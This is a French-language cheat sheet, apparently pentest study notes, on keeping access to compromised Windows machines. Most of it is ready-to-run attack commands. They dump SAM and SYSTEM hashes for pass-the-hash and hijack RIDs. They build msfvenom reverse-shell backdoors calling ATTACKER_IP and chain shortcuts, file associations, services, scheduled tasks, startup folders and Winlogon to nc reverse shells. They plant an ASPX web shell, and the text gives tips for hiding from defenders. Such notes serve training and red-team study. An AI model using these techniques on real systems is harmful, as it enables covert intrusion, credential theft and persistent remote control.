🐲persistence

La persistance consiste à maintenir l'accès à un système cible après avoir réussi à le compromettre.

🖥️ Obtenir les droits admin sans être admin

🕵️‍♀️ Ajouter un user à un groupe avec des droits important

Avoir les informations d'identification d'un administrateur serait le moyen le plus simple d'assurer la persistance sur une machine. Cependant, pour rendre plus difficile la détection de l'équipe bleue, nous pouvons manipuler les utilisateurs non privilégiés, qui ne seront généralement pas autant surveillés que les administrateurs, et leur accorder des privilèges administratifs d'une manière ou d'une autre.

Ajouter un user au groupe ADMIN

net localgroup administrators user /add

L'utilisateur peut accéder au serveur à l'aide de RDP, WinRM ou tout autre service d'administration à distance disponible.

Cependant, cela peut être suspect et peut être détecté par les outils de sécurité, pour plus de discrétion vous pouvez :

Ajouter un user au groupe Backup Operators

net localgroup "Backup Operators" user /add

Étant donné qu'il s'agit d'un compte non privilégié, il ne peut pas se connecter à distance au système à moins d'être ajouté au groupe Remote Desktop Users (RDP) ou Remote Management Users (WinRM).

Ajouter au groupe Remote Desktop Users

net localgroup "Remote Management Users" user /add

Une fois que l'utilisateur non privilégié a été ajouté au groupe Backup Operators, il peut copier le contenu des hives de registre SAM et SYSTEM. Ces fichiers sont généralement situés dans C:\Windows\System32\config.

Une fois que vous avez copié les fichiers, vous pouvez utiliser un outil tel que "pwdump" pour récupérer les hachages de mot de passe pour tous les utilisateurs.

Enfin, vous pouvez utiliser ces informations d'identification pour vous connecter en tant qu'utilisateur administratif et effectuer des actions avec des privilèges plus élevés.

Afficher les groupes d'un utilisateur

whoami /groups

Pour élever les privilèges d'un utilisateur membre du groupe "Backup Operators" ou "Remote Management Users", il est nécessaire de désactiver la stratégie LocalAccountTokenFilterPolicy ( elle supprime tout compte local de ses privilèges administratifs lors de la connexion à distance) en utilisant la commande suivante :

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

Pour sauvegarder les fichiers SAM et SYSTEM et les télécharger sur la machine d'attaque :

reg save hklm\system system.bak
reg save hklm\sam sam.bak
download system.bak
download sam.bak

Pour dumper les hashes de mots de passe à partir des fichiers SAM et SYSTEM :

secretsdump.py -sam <SAM_FILE> -system <SYSTEM_FILE> <DOMAIN_NAME_OR_LOCAL>

Exemple :

secretsdump.py -sam sam.bak -system system.bak LOCAL

Vous trouverez surement le hash admin, vous pouvez vous connectez en tant que admin :

evil-winrm -i <IP_ADDRESS> -u <USERNAME> -H <PASSWORD_HASH>

🔎 Attribuer des privilèges sans changer le groupe

Pour attribuer des privilèges spéciaux à un utilisateur sans modifier son appartenance à un groupe, vous pouvez utiliser la commande "secedit" pour exporter la configuration de sécurité actuelle, modifier la configuration pour ajouter les privilèges souhaités à l'utilisateur, puis importer la configuration mise à jour dans le système.

Exportez la configuration de sécurité actuelle

secedit /export /cfg config.inf

Cela créera un fichier config.infcontenant la configuration de sécurité actuelle.

Modifier les privilèges

Ouvrez le fichier config.inf dans un éditeur de texte et recherchez les lignes concernant les privilèges que vous souhaitez ajouter à l'utilisateur, tels que SeBackupPrivilege et SeRestorePrivilege.

Ajoutez l'utilisateur aux lignes de configuration pour les privilèges souhaités en utilisant le format suivant :

SceDacl = <SceDacl>; ACE_TYPE; FAILED_ACE_TYPE; SceSid; SceMask; InheritObjectType; InheritACEFlags

Par exemple, pour ajouter l'utilisateur "user" aux privilèges "SeBackupPrivilege" et "SeRestorePrivilege", vous pouvez ajouter les lignes suivantes :

SceDacl = <SceDacl>; ACCESS_ALLOWED_ACE_TYPE; FAILED_ACCESS_ALLOWED_ACE_TYPE; S-1-5-21-<SID-PART-2>-<SID-PART-3>-<SID-PART-4>-1005; 0x1301bf;; 0x0; 0x0
SceDacl = <SceDacl>; ACCESS_ALLOWED_ACE_TYPE; FAILED_ACCESS_ALLOWED_ACE_TYPE; S-1-5-21-<SID-PART-2>-<SID-PART-3>-<SID-PART-4>-1005; 0x1701bf;; 0x0; 0x0

Assurez-vous de remplacer "<SID-PART-2>", "<SID-PART-3>", "<SID-PART-4>" et "1005" par les valeurs appropriées pour l'utilisateur "user".

Puis enregistrez les modifications apportées au fichier config.inf.

Convertissez le fichier "config.inf" en un fichier "config.sdb"

secedit /import /cfg config.inf /db config.sdb

Cela créera un fichier config.sdb contenant la configuration de sécurité mise à jour.

Appliquez la configuration de sécurité mise à jour

secedit /configure /db config.sdb /cfg config.inf

Une fois que vous avez attribué les privilèges souhaités à l'utilisateur, vous pouvez modifier le descripteur de sécurité associé au service WinRM pour permettre à l'utilisateur de se connecter à distance.

Pour ce faire, vous pouvez utiliser la commande "Set-PSSessionConfiguration" dans PowerShell pour ouvrir la fenêtre de configuration du descripteur de sécurité de WinRM, puis ajouter l'utilisateur et lui attribuer tous les privilèges pour se connecter à WinRM.


🗝️ RID Hijacking

Pour chaque utilisateur sur un système Windows est assigné un identifiant unique appelé RID (Relative ID). Cet identifiant est stocké dans le registre Windows et est utilisé pour identifier l'utilisateur lors de la connexion au système.

Lorsqu'un utilisateur se connecte, le processus LSASS (Local Security Authority Subsystem Service) récupère son RID dans le registre et crée un jeton d'accès associé à ce RID. Si nous pouvons modifier la valeur du RID dans le registre, nous pouvons faire croire à Windows que nous sommes l'administrateur en associant le même RID à notre compte utilisateur non privilégié.

Compte administrateur par défaut RID = 500

Utilisateurs réguliers ont généralement un RID >= 1000.

  • Pour trouver les RID attribués à n'importe quel utilisateur :

wmic useraccount get name,sid

Le RID est le dernier bit du SID.

  • Accéder au SAM (Security Account Manager) en tant que SYSTEM et modifier le RID d'un utilisateur :

PsExec64.exe -i -s regedit

Dans Regedit, allez à HKLM\SAM\SAM\Domains\Account\Users\ et recherchez la clé correspondant à l'utilisateur en utilisant son RID en hexadécimal. Exemple (1010 = 0x3F2)

Sous cette clé, vous trouverez une valeur appelée "F" qui contient le RID effectif de l'utilisateur à la position 0030. Remplacez les deux octets à cette position par le RID de l'administrateur en hexadécimal, en alternant les octets. 500 = 0x01F4 en alternant les octets (F401)

La prochaine fois que l'utilisateur non privilégié se connectera, le système d'exploitation l'associera au même RID que l'administrateur et lui accordera les mêmes privilèges.

L'UAC limite le passage du hachage

L'UAC (User Account Control) limite les utilisateurs locaux qui peuvent effectuer des opérations d'administration à distance. Et comme la plupart des attaques exploitant le pass-the-hash reposent sur des opérations d'administration à distance, cela affecte cette technique..

  • la clé de registre LocalAccountTokenFilterPolicy est réglé sur 0 par défaut. Cela signifie que le compte d'administrateur local intégré (RID-500, « Administrateur ») est le seul compte local autorisé à effectuer des tâches d'administration à distance. Le régler sur 1 permet également aux autres administrateurs locaux.

  • la clé de registre FilterAdministratorToken est réglé sur 0 par défaut. Il permet au compte d'administrateur local intégré (RID-500, « Administrateur ») d'effectuer des tâches d'administration à distance. Si réglé sur 1, ce n'est pas le cas.



🔐 Backdoor

Une méthode pour établir la persistance consiste à falsifier certains fichiers avec lesquels l'utilisateur interagit régulièrement.


💾 Falsification de fichier executable :

Il est important de noter que cette méthode peut être détectée par des outils de sécurité tels que les antivirus, et qu'elle peut également être perturbée si le fichier exécutable légitime est mis à jour ou remplacé.

  • Trouver un exécutable fréquemment utilisé par l'utilisateur (par exemple, PuTTY)

  • Télécharger l'exécutable sur la machine de l'attaquant et le modifier pour exécuter une charge utile (par exemple, avec msfvenom)

Commande pour créer un exécutable de porte dérobée avec msfvenom :

msfvenom -a x64 --platform windows -x fichier.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o FichierX.exe
  • Renvoyer le fichier exécutable malveillant vers la machine cible, en utilisant le même nom de fichier et le même emplacement que le fichier exécutable légitime.

  • Vérifier que le fichier exécutable malveillant fonctionne correctement pour l'utilisateur cible, de sorte qu'il ne soupçonne pas qu'il a été falsifié.

Il est important de noter que cette méthode peut être détectée par des outils de sécurité tels que les antivirus, et qu'elle peut également être perturbée si le fichier exécutable légitime est mis à jour ou remplacé


📝 Modification du raccourci

  • Trouver un raccourci fréquemment utilisé par l'utilisateur (par exemple, la calculatrice)

  • Créer un script (backdoor.ps1) dans un emplacement discret (par exemple, C:\Windows\System32) et lancé dans une fenêtre cachée avec Powershell :

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"
C:\Windows\System32\calc.exe
  • Modifier le raccourci pour pointer vers un script qui exécutera une porte dérobée puis lancera le programme habituel (clique droit > propriété > target)

powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1

Vous pouvez aussi changer l'icone afin que l'utilisateur ne voit pas la différence.


➡️ Détournement d'associations de fichiers

Cela consiste à forcer le système d'exploitation à exécuter un shell chaque fois que l'utilisateur ouvre un type de fichier spécifique.

Les associations de fichiers par défaut du système d'exploitation sont conservées dans le registre, où une clé est stockée pour chaque type de fichier sous HKLM\Software\Classes.

Pour vérifier quel programme est utilisé pour ouvrir les fichiers .txt, vous pouvez simplement aller vérifier la sous-clé .txt et trouver quel ID programmatique (ProgID) y est associé. (dans notre cas, il s'agit de txtfile)

Naviguez jusqu'à la clé de registre pour le ProgID que vous avez trouvé et modifier le logiciel qui exécute les fichier texte par défaut par un lien vers votre backdoor :

powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1
  • Avant :

Le %1 dans la commande C:\Windows\system32\WORKPAD.EXE %1 représente le premier argument passé à la commande. Dans ce cas, l'argument est le nom de fichier que l'utilisateur a essayé d'ouvrir.

  • Après :

Enregistrer votre backdoor sous C:\Windows\backdoor.ps1

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4444"
C:\Windows\system32\NOTEPAD.EXE $args[0]

Il ne vous reste plus qu'a mettre un écouteur sur votre machine attaquante et à exécuter un fichier texte sur la cible.

nc -lvnp 4444

🔄 Service au démarrage

Les services Windows sont des programmes qui s'exécutent en arrière-plan s,ils peuvent être configurés pour démarrer automatiquement au démarrage, ce qui les rend utiles pour maintenir l'accès à un système compromis.

Il existe deux manières principales d'abuser des services pour établir la persistance : soit créer un nouveau service, soit modifier un service existant pour exécuter notre charge utile..

📎 Créer un service

  • Linux

Créer un reverse shell :

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe-service -o rev-svc.exe

Créer un serveur :

Python3 -m http.server 8000

et un handler

nc -lvnp 4444
  • Windows

Récupérer le fichier malveillant :

certutil -urlcache -f http://attack_ip:8000/rev-svc.exe rev-svc.exe

Créer un service

sc.exe create servicetest binPath= "C:\Windows\rev-svc.exe" start= auto

Le lancer :

sc.exe start service_nom

📝 Modifier un service

Afin de moins se faire remarquer par la BlueTeam.

Lister les services existants :

sc.exe query state=all

Voir la configuration du service :

sc.exe qc nom_service

3 choses importantes :

  • L'exécutable BINARY_PATH_NAME devrait pointer vers notre payload.

  • Le service START_TYPE doit être en AUTO_START

  • Le SERVICE_START_NAME, qui est le compte sous lequel le service sera exécuté, doit de préférence être défini sur localSystème pour obtenir les privilèges SYSTEM.

Afficher les droits de modification d'un service :

sc.exe sdshow nom_du_service

Linux

Générer payload :

 msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=5558 -f exe-service -o rev-svc2.exe

Faire serveur + handler

Windows

Récupérer payload

reconfigurer les paramètres du service :

sc.exe config service_name binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem"

🕒 Tâches planifié

Cette commande crée une tâche nommée TaskBackdoor qui est exécutée toutes les minutes (/sc minute /mo 1) et execute un reverse shell :

schtasks /create /sc minute /mo 1 /tn TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449" /ru SYSTEM

📌 Rendre la tâches discrète

Le descripteur de sécurité ou Security Descriptor (SD) est une liste de contrôle d'accès (ACL) qui indique quels utilisateurs ont accès à la tâche planifiée. Si vous supprimez la SD, aucun utilisateur ne pourra voir la tâche, y compris les administrateurs.

c:\tools\pstools\PsExec64.exe -s -i regedit

Supprimez la dans : Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Tâche_nom

Vérifiez la tâche (normalement elle n’apparaît pas :

schtasks /query /tn thm-taskbackdoor 

🔃 Malware au démarrage

📁️ Dossier de démarrage

Spécifique à un utilisateur C:\Users<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Général : C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Déposer un payload dans ces dossiers :

Pour un utilisateur spécifique :

copy revshell.exe "C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"

Pour tous les utilisateurs :

copy revshell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"

🗓️ Via le registre

Exécuter un programme lors de sa connexion via le registre

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run

  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run

  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

💻 Winlogon

Winlogon gère l'interface d'ouverture de session et d'authentification. Il est également responsable de la création de la session utilisateur et de la sécurité de la station de travail.

Modifie soit shell ou Userinit dans HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ :

Modifier avec cette ligne :

C:\Windows\system32\userinit.exe, C\Windows\reverse_shelle.exe


🌐️ Serveur WEB

Le shell web est écrit en ASP.NET, un framework de développement web pour le langage de programmation .NET. Le fichier shell.aspx est le script ASP.NET qui contient le code du shell web. En déposant ce fichier dans le répertoire web du serveur (par défaut C:\inetpub\wwwroot), l'attaquant peut accéder et exécuter des commandes sur le serveur en se connectant à l'URL du shell web.

  • l'envoyé sur la cible

  • Sur la cible, déplacé le vers : move shell.aspx C:\inetpub\wwwroot\

  • Donné les droits : icacls shell.aspx /grant Everyone:F

  • Sur l'attaquant : http://ip_cible/shell.aspx

Last updated